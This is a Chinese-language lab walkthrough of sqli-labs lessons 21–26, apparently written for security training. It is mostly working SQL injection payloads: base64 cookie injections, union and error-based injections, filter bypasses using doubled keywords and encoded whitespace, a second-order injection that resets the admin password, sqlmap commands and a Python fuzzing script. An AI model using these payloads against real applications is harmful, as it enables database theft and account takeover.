0x01 高级注入 21-37
Lesson-21
该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
if cookie 不存在 $uname: if 提交 $uname 和 $passwd $uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1; $cookee = $row1['username']; # 返回内容 if 返回SQL查询结果: setcookie('uname', base64_encode($row1['username']), timne()-3600) else: print_r(mysql_error()); else: if POST 数据中没有 $submit: $cookee = base64_decode($cookee); $sql = "select * from users WHERE usernmae=('$cookee') LIMIT 0,1"; if 无查询结果: print_r(mysql_error()); else: 输出查询信息 else: setcookie('uname', base64_encode($row1['username']), timne()-3600);
注意:本题与Lesson20的利用方式相同,只不过它修改拼接方式,由单引号改为单括号单引号同时对cookie进行base64编码
登录成功后界面如下:
使用联合查询判断字段数
Cookie: uname=YWRtaW4nKSBvcmRlciBieSAzIw== //返回正常界面
Cookie: uname=YWRtaW4nKSBvcmRlciBieSA0Iw== //返回错误界面
由此可说明字段数为3,通过 union select 查看回显位置
Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMiwzIw==
查询基础信息
Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMix1c2VyKCkj Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMix2ZXJzaW9uKCkj Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==
查询表名
Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==
查询列名
Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnI
查询关键信息
Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSxncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMj
也可以直接说使用 sqlmap 使用 base64 编码进行注入
sqlmap -u "http://172.16.117.135/sqli/Less-21/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
Lesson-22
该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
if cookie 不存在 $uname: if 提交 $uname 和 $passwd $uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1; $cookee = $row1['username']; # 返回内容 if 返回SQL查询结果: setcookie('uname', base64_encode($row1['username']), timne()-3600) else: print_r(mysql_error()); else: if POST 数据中没有 $submit: $cookee = base64_decode($cookee); $cookee = '"'.$cookee.'"' $sql = "select * from users WHERE usernmae=$cookee LIMIT 0,1"; if 无查询结果: print_r(mysql_error()); else: 输出查询信息 else: setcookie('uname', base64_encode($row1['username']), timne()-3600);
注意:本题与Lesson21的利用方式相同,只不过它修改了拼接方式,由单括号单引号改为双引号
登录成功后界面如下:
使用联合查询判断字段数
Cookie: uname=YWRtaW4iIG9yZGVyIGJ5IDQj //返回正常界面
Cookie: uname=YWRtaW4iIG9yZGVyIGJ5IDMj //返回错误界面
由此可说明字段数为3,通过 union select 查看回显位置
Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLDM
查询基础信息
Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLHVzZXIoKSM= Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLHZlcnNpb24oKSM= Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
查询表名
Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScj
查询列名
Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2Vycyc
查询关键信息
Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUpLGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSB1c2VycyM=
也可以直接说使用 sqlmap 使用 base64 编码进行注入
sqlmap -u "http://172.16.117.135/sqli/Less-22/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
Lesson-23
该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$id=$_GET['id'] $reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id); $sql = select * from users where id='$id' limit 0,1 # 返回内容 if true: 输出查询内容; else: print_r(mysql_error());
注意:该题与Lesson1的利用方式相同,只不过过滤了注释符号,因此我们可利用闭合的方式进行注入
使用联合查询判断注入点,尝试验证
id=1' AND '1'='1 //返回正常界面
id=1' AND '1'='2 //返回错误界面
判断字段数
id=1' order by 4 and '1'='1 //返回正常界面
在尝试使用 order by 判断字段数时发现无论字段数取多少目标都会返回正常,在数据库中执行相关语句可帮助我们发现存在的问题
SELECT * FROM users WHERE id='1' and '1'='1' order by 4 LIMIT 0,1; SELECT * FROM users WHERE id='1' order by 4 and '1'='1' LIMIT 0,1;
在 MySQL 中
order by
和where
是子语句,and
是连接符。前者将id='1' and '1'='1'
作为where
的条件被率先执行并得到结果,而后执行order by 4
,由于结果中不存在第四个字段报错。后者order by
在where
的条件中,执行时order by
被忽略,因此得到结果后也不会执行order by
。
因此我们不能使用 order by 来判断字段数,需要通过 union select 判断
id=-1' union select 1,2,3 and '1'='1
id=-1' union select 1,2,3,4 and '1'='1
查询基础信息
id=-1' union select 1,user(),3 and '1'='1 id=-1' union select 1,version(),3 and '1'='1 id=-1' union select 1,database(),3 and '1'='1
查询表名
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' and '1'='1
查询列名
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and '1'='1
查询关键信息
id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 and '1'='1
Lesson-24
该题为经典的二次注入场景,在登录界面以 post 方式接收变量,存在忘记密码和新建用户选项
使用正确的密码登录成功也没有发现异常信息,利用点可能在新的功能选项上
目标SQL语句如下:
//login_create.php username = mysql_escape_string($_POST['username']); $pass = mysql_escape_string($_POST['password']); $re_pass = mysql_escape_string($_POST['re_password']); #查询用户是否已经存在 $sql = "select count(*) from users where username = '$username'"; if 两次密码输入一致: $sql = "insert into users (username,password) values(\"$username\", \"$pass\")"; else: 提示密码输入不一致 //login.php $username = mysql_real_escape_string($_POST["login_user"]); $password = mysql_real_escape_string($_POST["login_password"]); $sql = "SELECT * FROM users WHERE username='$username' and password='$password'"; //pass_change.php if 未登录: 重定向至首页 if 检测提交表单: $username = $_SESSION["username"]; $curr_pass = mysql_real_escape_string($_POST['current_password']); $pass = mysql_real_escape_string($_POST['password']); $re_pass = mysql_real_escape_string($_POST['re_password']); if 两次密码一致: $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'"; else: 提示密码输入不一致并重定向至失败界面
注意:该题与以往的注入都有点不同,它需要采用二次注入的方式来完成利用。那么何谓二次注入呢?简单来说就是黑客首先将没有触发行为的SQL语句插入至数据库当中,再调用插入的SQL语句触发攻击行为。
mysql_escape_string
是 PHP 中的一个过滤函数,可在危险字符前自动添加带反斜杠字符。因此无论是在登录时还是注册时都无法进行注入,通过注册特殊的用户名后可在更新密码时完成二次注入,以下则是存在注入的语
UPDATE uers SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
带入特殊的用户名admin'#
后语句如下:
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'
首先我们构造一个特殊的用户名进行注册以便于修改 admin 用户的密码
admin'#
通过数据库语句查询用户名,发现注册用户完成后该表中的其他数据并未发生变化
SELECT * FROM users;
登录刚注册的
admin'#
用户,但我们并没有发现密码修改界面,这是怎么回事呢?这是因为解压将文件logged-in.php
损坏了,需要重新解压直至该文件大小为2 KB
才正常解析
再次注册并登录admin'#
用户
点击reset
修改密码完成
通过数据库语句再次查询用户名,发现 admin 用户密码已成功修改为 123
SELECT * FROM users;
使用 admin/123 进行登录,登录成功
Lesson-25
该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$id=$_GET['id'] $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $id= preg_replace('/or/i',"", $id); $id= preg_replace('/AND/i',"", $id); # 返回内容 if true: 输出查询内容; else: print_r(mysql_error());
注意:该题与Lesson23的利用方式相同,只不过过滤条件由注释符换成了关键词and和or,因此我们可利用双写或符号替换的方式的方式进行注入
绕过方式如下:
# 关键字双写 or => oorr and => anandd # 替换字符 or => || and => &&
使用联合查询判断注入点,尝试验证
id=1' anandd '1'='1 //返回正常界面
id=1' anandd '1'='2 //返回错误界面
判断字段数
id=1' oorrder by 3--+ //返回正常界面
id=1' oorrder by 4--+ //返回错误界面
由此可判断字段数为3,通过 union select 判断回显位置
id=-1' union select 1,2,3--+
查询基础信息
id=-1' union select 1,version(),user()--+id=-1' union select 1,database(),3--+
查询表名
id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables wheretable_schema = 'security'--+
table_schema = 'security'--+wan
查询列名
id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'users'--+
查询关键信息
id=-1' union select 1,group_concat(username),group_concat(password) from users--+ id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3--+
Lesson-25a
该题为数字型get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$id=$_GET['id'] $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $id= preg_replace('/or/i',"", $id); $id= preg_replace('/AND/i',"", $id); # 返回内容 if true: 输出查询内容; else: 输出存在错误;
注意:该题与Lesson25的利用方式相同,只不过拼接方式由单引号变成了纯数字,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击
绕过方式如下:
# 关键字双写 or => oorr and => anandd # 替换字符 or => || and => &&
使用联合查询判断注入点,尝试验证
id=1 anandd 1=1 //返回正常界面
id=1 anandd 1=2 //返回错误界面
判断字段数
id=1 oorrder by 3--+ //返回正常界面
id=1 oorrder by 4--+ //返回错误界面
由此可判断字段数为3,通过 union select 判断回显位置
id=-1 union select 1,2,3--+
查询基础信息
id=-1 union select 1,version(),user()--+ id=-1 union select 1,database(),3--+
查询表名
id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema = 'security'--+
查询列名
id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'users'--+
查询关键信息
id=-1' union select 1,group_concat(username),group_concat(password) from users--+ id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3--+
Lesson-26
该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注
id=1'
目标SQL语句如下:
$id=$_GET['id'] $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $id= preg_replace('/or/i',"", $id); $id= preg_replace('/and/i',"", $id); $id= preg_replace('/[\/\*]/',"", $id); $id= preg_replace('/[--]/',"", $id); $id= preg_replace('/[#]/',"", $id); $id= preg_replace('/[\s]/',"", $id); $id= preg_replace('/[\/\\\\]/',"", $id); # 返回内容 if true: 输出查询内容; else: print_r(mysql_error());
注意:该题与Lesson25的利用方式相同,只不过过滤条件添加了空格、注释符等,我们需要使用更多手段进行绕过
过滤and
与or
绕过方式如下:
# 关键字双写 or => oorr and => anandd # 替换字符 or => || and => &&
过滤注释符可使用闭合绕过:
注释符 => ' and '1'='1
过滤空格可替换特殊符号进行绕过:
%09 #Tab键 %0a #新建一行 %0c #新的一页 %0d #return功能 %0b #Tab键 %a0 #空格
如果不知道哪些符号可替换可使用如下脚本进行检测:
import requests def changeToHex(num): tmp = hex(i).replace("0x", "") if len(tmp)<2: tmp = '0' + tmp return "%" + tmp req = requests.session() for i in xrange(0,256): i = changeToHex(i) url = "http://172.16.117.135/sqli/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1" ret = req.get(url) if 'Dumb' in ret.content: print "good,this can use:" + i
解析问题在判断字段数时我们发现无论怎么更换 payload,目标都会报错。后来发现这并不是我们的 payload 存在问题,而是因为 Windows 环境无法使用一些特殊字符来代替空格,因此存在两种解决方式,一是不使用空格用报错注入进行利用;二是将环境切换至 Linux 当中。
id=1'%0aoorrder%0aby%0a3%0aaandnd%0a'1'='1
使用 Docker 搭建 Linux 环境是一个不错的选择
docker pull acgpiano/sqli-labsdocker run -dt --name sqli-lab -p 8888:80 acgpiano/sqli-labs:latest
搭建完成后访问本地 8888 端口并初始化环境
使用报错注入判断注入点,尝试验证
id=1'%0aanandd%0a'1'='1 //返回正常界面
id=1'%0aanandd%0a'1'='2 //返回错误界面
不使用空格可进行报错注入,首先获取基础信息
id=-1'||updatexml(1,concat(0x7e,(database())),0)||'1'='1
查询表名
id=-1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1
查询列名
id=-1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'))),0)||'1'='1
查询关键信息,寻找 id 为1的用户信息
id=-1'||updatexml(1,concat(0x7e,(select(concat(username,0x7e,passwoorrd))from(users)where(id)=1)),0)||'1'='1
寻找 id 为2的用户信息
id=-1'||updatexml(1,concat(0x7e,(select(concat(username,0x7e,passwoorrd))from(users)where(id)=2)),0)||'1'='1
使用联合查询判断字段数,在新环境下再次判断字段数会出现与Lesson23同样的情况
id=1'%a0oorrder%a0by%a04%a0aandnd%a0'1'='1
因此我们不能使用 order by 来判断字段数,需要通过 union select 判断
id=0'%a0union%a0select%a01,2,3%a0aandnd%a0'1'='1
id=0'%a0union%a0select%a01,2,3,4%a0aandnd%a0'1'='1
这里还有一个小插曲,由于-
号被过滤,原先用来报错的-1
已经改为0
,当然也可以使用足够大的数来使数据库查询报错,如100
等
查询基础信息
id=0'%a0union%a0select%a01,user(),3%a0aandnd%a0'1'='1 id=0'%a0union%a0select%a01,version(),3%a0aandnd%a0'1'='1 id=0'%a0union%a0select%a01,database(),3%a0aandnd%a0'1'='1
查询表名
id=0'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0aandnd%a0'1'='1
查询列名
id=0'%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0aandnd%a0'1'='1
查询关键信息
id=0'%a0union%a0select%a01,(select%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0aandnd%a0'1'='1